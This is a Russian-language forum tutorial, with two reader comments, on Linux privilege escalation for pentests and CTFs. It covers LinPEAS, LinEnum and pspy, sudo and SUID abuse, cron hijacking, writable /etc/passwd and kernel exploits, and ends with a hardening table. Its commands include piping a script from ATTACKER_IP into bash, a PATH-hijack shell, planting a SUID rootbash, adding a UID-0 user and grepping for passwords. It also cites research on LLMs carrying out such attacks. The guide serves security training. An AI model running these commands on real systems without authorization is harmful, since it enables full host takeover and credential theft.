Статья Повышение привилегий Linux: от первичной разведки до root через LinPEAS, LinEnum и ручные техники

Повышение привилегий Linux: LinPEAS, SUID-эксплуатация и sudo misconfiguration в пентесте


Ты получил shell на машине. Курсор мигает от имени www-data или какого-нибудь low-priv-user. До root - один шаг, но этот шаг может занять пять минут или пять часов. Зависит от того, умеешь ли ты читать систему. Я разберу повышение привилегий Linux так, как делаю это на реальных пентестах и CTF: от первой команды после foothold до полного root-доступа, с конкретными командами, разбором вывода и объяснением, почему каждая мисконфигурация опасна.

Что такое privilege escalation Linux и зачем это пентестеру​

Эскалация привилегий Linux - получение более высоких прав в системе, чем те, что есть у текущего пользователя. В терминах MITRE ATT&CK это целая тактика Privilege Escalation с десятками техник: от ) до и Sudo and Sudo Caching (T1548.003).

На практике повышение привилегий - обязательный этап любого пентеста. Получив initial access, атакующий видит систему глазами непривилегированного пользователя. Чтобы стянуть хеши из /etc/shadow, закрепиться бэкдором или пойти дальше по сети - нужен root. Без privilege escalation пентест заканчивается на полпути, а отчёт будет жиденьким.

Повышение привилегий бывает двух видов:
  • Вертикальное - от обычного пользователя к root (или другому привилегированному аккаунту)
  • Горизонтальное - переход на другого пользователя с тем же уровнем прав, но с доступом к другим данным
Здесь фокус на вертикальном - от low-priv до root-доступа.

Ручная разведка: первые команды после foothold​

Прежде чем запускать автоматику, я всегда делаю базовую разведку руками. Две минуты работы, зато потом вывод LinPEAS читается осмысленно, а не как простыня текста. Команды ниже покрывают несколько техник Discovery по MITRE ATT&CK: whoami/id - System Owner/User Discovery (T1033), hostname/uname -a/cat /etc/os-release - System Information Discovery (T1082).

Кто я и где я​

Bash:
whoami          # текущий пользователь
id              # UID, GID и группы - обрати внимание на docker, lxd, disk
hostname        # имя хоста - часто подсказывает роль сервера
uname -a        # ядро и архитектура - критично для kernel exploits
cat /etc/os-release  # дистрибутив и версия
Вывод id может сразу дать вектор. Если пользователь в группе docker, lxd или disk - считай, полдела сделано. Это почти гарантированный путь к root без единого эксплойта.

Проверка sudo​

Bash:
sudo -l         # какие команды можно выполнять через sudo
sudo -V         # версия sudo - старые версии бывают дырявыми
sudo -l - первое, что я набираю на любой машине. Если в выводе NOPASSWD и любой бинарь из GTFOBins - можно идти пить кофе, root уже твой.

Поиск SUID-бинарей​

Bash:
find / -perm -4000 -type f -ls 2>/dev/null
Эта команда ищет все файлы с установленным SUID-битом. Каждый такой файл выполняется с правами владельца, а не текущего пользователя. Если владелец root, а бинарь позволяет выполнить произвольную команду - это прямой путь к эскалации привилегий (T1548.001, Privilege Escalation / Defense Evasion).

Cron-задачи и таймеры​

Bash:
cat /etc/crontab                        # системные cron-задачи
ls -la /etc/cron.d/                     # дополнительные cron-конфиги
ls -la /etc/cron.daily/ /etc/cron.hourly/  # периодические задачи
systemctl list-timers --all 2>/dev/null  # systemd-таймеры

Сеть и сервисы​

Bash:
ip a                    # сетевые интерфейсы - ищи dual-homed
ss -tlnp                # слушающие порты - внутренние сервисы
cat /etc/hosts          # записи hosts - могут указать на другие машины

История и пароли​

Bash:
history                           # команды предыдущих сессий
cat ~/.bash_history 2>/dev/null   # история bash
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -20
grep -ri "password" /etc/ 2>/dev/null | head -20
File and Directory Discovery (T1083), доступ к /etc/passwd и /etc/shadow (T1003.008, Credential Access) и поиск паролей в конфигурационных файлах (T1552.001, Credential Access) - классика post-exploitation. Удивительно, как часто пароли валяются в конфигах в открытом виде.

LinPEAS: автоматизация разведки для повышения привилегий​

LinPEAS (Linux Privilege Escalation Awesome Script) автоматизирует всё, что я описал выше, и добавляет сотни проверок сверху. Я запускаю его на каждой машине после ручной разведки, потому что глаз пропускает вещи: capabilities на бинарях, writable PATH-директории, утечки токенов в переменных окружения. LinPEAS это находит.

Как запустить LinPEAS​

Ты уже на целевой машине. Способ доставки зависит от ситуации:

Вариант 1 - через HTTP-сервер атакующего:
Bash:
# На атакующей машине (Kali/Parrot):
python3 -m http.server 8080

# На целевой машине:
curl http://ATTACKER_IP:8080/linpeas.sh | bash
Вариант 2 - загрузка и запуск локально:
Bash:
# На целевой машине:
wget http://ATTACKER_IP:8080/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh
Вариант 3 - без сохранения скрипта на диск (частичная скрытность):
Bash:
curl http://ATTACKER_IP:8080/linpeas.sh | bash | tee /tmp/linpeas_output.txt
Третий вариант удобен тем, что скрипт не сохраняется как файл, но вывод ловишь для анализа. Только не обольщайся - это не полноценный stealth: процесс виден в /proc, а auditd всё зафиксирует.

Как читать вывод LinPEAS​

LinPEAS использует цветовую маркировку. Вот что реально важно:

ЦветЗначениеДействие
Красный/ЖёлтыйС вероятностью 95% это вектор повышения привилегийЭксплуатируй - почти наверняка рабочий вектор
КрасныйНужно изучить - может потребовать дополнительных условийКопни глубже перед эксплуатацией
ЗелёныйИнтересная информация для дальнейшего анализаЗапомни на потом
СинийОбычная системная информацияИспользуй для контекста

Лично я сначала пролистываю весь вывод, выцепляя красно-жёлтые строки. Чаще всего они указывают на:
  • SUID-бинари, которые есть в GTFOBins
  • Cron-задачи, запускающие скрипты с записью для всех
  • Sudo-правила с NOPASSWD для опасных команд
  • Writable файлы в PATH
  • Capabilities вроде cap_setuid на бинарях
  • Пароли в конфигурационных файлах

LinEnum: альтернатива для повышения привилегий Linux​

LinEnum - ещё один скрипт для перечисления системной информации. Он менее детализирован, чем LinPEAS, зато работает быстрее и даёт чистый, легко читаемый вывод. Я беру LinEnum, когда нужна скорость или когда LinPEAS по какой-то причине не запускается (бывает на урезанных контейнерах).

Запуск LinEnum​

Bash:
# Доставка аналогична LinPEAS:
wget http://ATTACKER_IP:8080/LinEnum.sh -O /tmp/LinEnum.sh
chmod +x /tmp/LinEnum.sh
/tmp/LinEnum.sh -t  # флаг -t включает расширенные проверки
LinEnum собирает информацию о пользователях, файловых правах, процессах, пакетах, сетевых конфигурациях, cron-задачах, журналах, версиях ПО. Вывод структурирован по разделам - удобно для быстрого прогона.

Сравнение инструментов автоматизации​

ИнструментНазначениеЦветовая маркировкаСкоростьГлубина
LinPEASПолная разведка привилегийДаСредняяМаксимальная
LinEnumПеречисление системной информацииНетВысокаяСредняя
pspyМониторинг процессов без rootНетРеальное времяУзкая (процессы)
Linux Exploit SuggesterПоиск kernel exploitsНетВысокаяУзкая (ядро)
Linux Smart EnumerationПеречисление с уровнями детализацииЧастичноСредняяНастраиваемая

pspy заслуживает отдельного слова. Это штука для мониторинга процессов в реальном времени без root-прав. Незаменима, когда cron-задача выполняется по расписанию, но не видна в /etc/crontab (пользовательские crontab'ы других аккаунтов). Запускаешь pspy, ждёшь пару минут - и видишь, какие процессы стартуют от root.
Bash:
# Запуск pspy:
./pspy64  # для 64-bit систем
# или
./pspy32  # для 32-bit

Техники повышения привилегий Linux: пошаговые примеры

Теория - хорошо, но без практики это просто буквы. Для каждой техники - сценарий, команды и объяснение, почему это работает.

Sudo misconfiguration: злоупотребление правами sudo​

Техника Sudo and Sudo Caching (T1548.003, Privilege Escalation / Defense Evasion) - самый частый вектор на CTF и один из самых распространённых в реальных средах.

Шаг 1 - проверяем sudo-права:
Bash:
sudo -l
Пример вывода:
Код:
User www-data may run the following commands on target:
    (root) NOPASSWD: /usr/bin/find
Шаг 2 - проверяем GTFOBins:

Идём на и ищем find. В разделе "Sudo":
Bash:
sudo find . -exec /bin/bash \; -quit
Шаг 3 - получаем root:
Bash:
sudo find . -exec /bin/bash \; -quit
whoami
# root
Почему это работает? Админ хотел дать пользователю возможность искать файлы, но find с флагом -exec выполняет любую команду. NOPASSWD - даже пароль не спросит. Одна строка в sudoers - и система скомпрометирована.

Другие опасные бинари в sudo: vim, nano, less, awk, perl, python, ruby, env, man. Каждый позволяет получить shell. Видишь любой из них в выводе sudo -l - сразу проверяй GTFOBins.

SUID бит Linux: эксплуатация через бинари с setuid​

SUID-бит (Set User ID upon execution) - специальное разрешение, при котором файл выполняется с правами владельца. Техника Setuid and Setgid (T1548.001, Privilege Escalation / Defense Evasion).

Шаг 1 - находим SUID-бинари:
Bash:
find / -perm -4000 -type f -ls 2>/dev/null
Пример вывода (обрезанный):
Код:
  131085   40 -rwsr-xr-x   1 root  root   40152 Jan 27  2020 /usr/bin/mount
  131090   44 -rwsr-xr-x   1 root  root   44784 Jan 27  2020 /usr/bin/newgrp
  131143   64 -rwsr-xr-x   1 root  root   63960 Feb  7  2020 /usr/bin/passwd
  262285   20 -rwsr-xr-x   1 root  root   16712 Sep  1  2020 /opt/custom-backup
Стандартные SUID-бинари (mount, passwd, ping) - норма, они тут живут. Нас интересуют нестандартные: /opt/custom-backup - вот это уже подозрительно.

Шаг 2 - анализируем нестандартный бинарь:
Bash:
file /opt/custom-backup
strings /opt/custom-backup | head -30
ltrace /opt/custom-backup 2>&1 | head -20  # если ltrace доступен
Если strings показывает вызов внешней команды без полного пути (просто cp вместо /usr/bin/cp) - это потенциальный вектор для PATH manipulation. Работает, когда SUID-бинарь вызывает команду через system()/popen() (они используют shell и переменную PATH). Если бинарь использует execve() с абсолютным путём - этот фокус не пройдёт. Проверить можно через ltrace или strace (если доступен).

Шаг 3 - эксплуатация через PATH:
Bash:
# Создаём вредоносный "cp" в /tmp:
echo '#!/bin/bash' > /tmp/cp
echo '/bin/bash -p' >> /tmp/cp
chmod +x /tmp/cp

# Подменяем PATH:
export PATH=/tmp:$PATH

# Запускаем SUID-бинарь:
/opt/custom-backup
whoami
# root
Флаг -p у bash - критически важен. Без него bash сбросит привилегии. С -p он сохраняет effective UID, установленный через SUID. Для тех кто в танке - без этого флага bash решит, что ты «не настоящий root», и откатит права обратно.
Примечание: На современных дистрибутивах (Debian 12+, Ubuntu 22.04+) glibc secure execution mode (__libc_enable_secure) может сбрасывать переменные окружения (включая PATH) для SUID-процессов, а system() может использовать /bin/shdash, который ведёт себя иначе. Проверяй, какой shell использует system() и не сбрасывается ли PATH в конкретной среде.

Cron jobs privilege escalation: эксплуатация планировщика задач​

Cron-задачи - любимый вектор пентестеров. Админы создают скрипты бэкапа от root, а права на сами скрипты выставляют как попало. Классика жанра.

Шаг 1 - находим cron-задачи:
Bash:
cat /etc/crontab
ls -la /etc/cron.d/
Пример вывода /etc/crontab:
Код:
* * * * * root /opt/scripts/backup.sh
Шаг 2 - проверяем права на скрипт:
Bash:
ls -la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root 45 Jun 10 12:00 /opt/scripts/backup.sh
Права 777 - writable для всех. Скрипт выполняется каждую минуту от root. Тут даже думать не надо.

Шаг 3 - внедряем payload:
Bash:
echo '#!/bin/bash' > /opt/scripts/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
Шаг 4 - ждём минуту и получаем root:
Bash:
# Через минуту:
ls -la /tmp/rootbash
# -rwsr-sr-x 1 root root ... /tmp/rootbash
/tmp/rootbash -p
whoami
# root
Если cron-задача не видна в /etc/crontab, запускаем pspy и наблюдаем процессы в реальном времени. Пользовательские crontab'ы скрыты от других аккаунтов, но pspy покажет их выполнение - он мониторит /proc напрямую.

Kernel exploit: эксплуатация уязвимостей ядра​

Техника Exploitation for Privilege Escalation (T1068, Privilege Escalation) - последнее средство, когда остальные векторы не сработали. Kernel exploits нестабильны и могут уронить систему, поэтому в реальном пентесте их используют с осторожностью (и с письменным согласием заказчика).

Классический пример - . По данным NVD: race condition в mm/gup.c в ядрах Linux 2.x–4.x до 4.8.3 позволяет локальным пользователям повысить привилегии через некорректную обработку copy-on-write (COW) при записи в read-only memory mapping. CVSS: 7.0 (HIGH), вектор CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. CWE: CWE-362 (Race Condition).

Разбор CVSS-вектора (чтобы не казался магическими буквами):
  • AV:L - атака локальная, нужен доступ к системе
  • AC:H - высокая сложность (race condition - надо поймать момент)
  • PR:L - достаточно низких привилегий
  • UI:N - действия пользователя не требуются
Порядок действий при поиске kernel-эксплойтов:
Bash:
# 1. Узнаём версию ядра:
uname -r
# Пример: 3.13.0-24-generic

# 2. Запускаем Linux Exploit Suggester:
./linux-exploit-suggester.sh

# 3. Или ищем вручную:
searchsploit linux kernel 3.13 privilege escalation
Linux Exploit Suggester оценивает вероятность успеха: Highly Probable, Probable, Less Probable. Фокусируйся на первой категории - остальные чаще расстраивают, чем радуют.

Writable /etc/passwd: добавление root-пользователя​

Если файл /etc/passwd доступен для записи (встречается на CTF-машинах и иногда в реальных средах с кривыми руками), можно тупо добавить нового пользователя с UID 0.
Bash:
# Проверяем права:
ls -la /etc/passwd
# -rw-rw-rw- 1 root root ... /etc/passwd

# Генерируем хеш пароля (SHA-512, OpenSSL 1.1.1+; если -6 недоступен, используй -1 для MD5):
openssl passwd -6 -salt xyz password123
# $6$xyz$rD...hash...

# Добавляем пользователя с UID 0:
echo 'hacker:$6$xyz$rD...hash...:0:0:root:/root:/bin/bash' >> /etc/passwd

# Переключаемся:
su hacker
# Вводим password123
whoami
# root
Это прямой пример техники Create Account: Local Account (T1136.001, Persistence) - добавление нового пользователя с UID 0 в файл учётных данных.

Пошаговый чейн: от shell до root​

Собираю всё в единый алгоритм - так я работаю на реальной машине:

Делай раз - базовая разведка руками:
Bash:
whoami && id
uname -a
sudo -l
cat /etc/crontab
find / -perm -4000 -type f -ls 2>/dev/null
Если sudo -l даёт вектор - эксплуатируй сразу через GTFOBins. Нестандартный SUID-бинарь - анализируй. Writable cron-задача - модифицируй. На этом этапе 60% CTF-машин уже решены.

Делай два - запускай LinPEAS:
Bash:
curl http://ATTACKER_IP:8080/linpeas.sh | bash | tee /tmp/lp.txt
Ищи красно-жёлтые маркеры. Проверяй всё, что LinPEAS отметил как высоковероятный вектор. Обращай внимание на capabilities (getcap -r / 2>/dev/null), writable директории в PATH и конфиги с паролями.

Делай три - мониторинг и глубокий анализ:
Bash:
# Если ничего не нашлось - запускай pspy:
./pspy64

# Параллельно ищи пароли:
grep -ri "pass\|pwd\|credential" /var/www/ /opt/ /home/ 2>/dev/null
find / -name "*.bak" -o -name "*.old" -o -name "*.conf" 2>/dev/null | xargs grep -li "password" 2>/dev/null
Только если все предыдущие шаги не дали результат - переходи к kernel exploits. Проверяй версию ядра через Linux Exploit Suggester и ищи подходящий эксплойт. Это крайний вариант, а не первый.

Как автоматика конкурирует с ручным анализом​

Согласно исследованию Happe и Cito (2023), «LLMs as Hackers: Autonomous Linux Privilege Escalation Attacks» (arxiv.org), GPT-4-Turbo успешно эксплуатировал от 33% до 83% уязвимостей в benchmark privilege escalation - сравнимо с результатами профессиональных пентестеров (75%). При этом даже продвинутые модели спотыкались на multi-step эксплуатации: например, не могли связать найденный SUID-бинарь с необходимостью проверить его в GTFOBins.

Что это значит на практике? LinPEAS и LinEnum не заменяют думающего пентестера. Скрипт покажет данные, но связать находки в рабочий чейн - твоя работа. LinPEAS может пометить /usr/bin/python3 с capability cap_setuid красным цветом, но конвертировать эту находку в root shell должен ты:
Bash:
# Пример: Python с cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Защита и Linux hardening: что закрывать​

Понимание атак даёт понимание защиты. Конкретные рекомендации:

Вектор атакиМера защиты
Sudo misconfigurationНикогда не давать sudo на shell-интерпретаторы, редакторы, find, awk. Строго определённые команды с полным путём
SUID на нестандартных бинаряхРегулярно аудитировать: find / -perm -4000 -type f -ls. Снимать SUID-бит с ненужных файлов: chmod u-s /path/to/binary
Writable cron-скриптыВладелец root, права 700 или 755. Никогда не 777
Устаревшее ядроОбновлять ядро. Использовать livepatch для критичных систем, где перезагрузка невозможна
Пароли в конфигахVault-системы (HashiCorp Vault, ansible-vault). Права на конфиги: 600, владелец - сервисный аккаунт
Writable /etc/passwdПрава: /etc/passwd - 644, /etc/shadow - 640. Мониторить изменения через auditd

Итоги​

Повышение привилегий Linux - не магия и не набор готовых рецептов. Это системный процесс: разведка, анализ, эксплуатация. LinPEAS и LinEnum автоматизируют разведку, GTFOBins дают справочник по эксплуатации, pspy помогает увидеть скрытые процессы. А связать всё это в рабочий чейн - задача пентестера, не скрипта.

Начни с лабораторий. На TryHackMe есть комнаты «Linux PrivEsc» и «Linux PrivEsc Arena», на HackerLab - десятки машин с различными векторами. Запускай LinPEAS на каждой, учись читать вывод, проверяй находки вручную. Через двадцать машин ты будешь видеть вектор быстрее, чем скрипт закончит работу. Проверено.
 
  • Нравится
Реакции: Luxkerr и alfabuster
Да LinPeas это чуть ли не основная утилита, для быстрого поиска повышения привелегий в linux системах. pspy тоже крутая утилита, для поиска процессов запускающихся и запущенных в реальном времени. Остальные утилиты уже давненько так на гитхабе не обновляются...
 
  • Полезно
Реакции: Сергей Попов
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab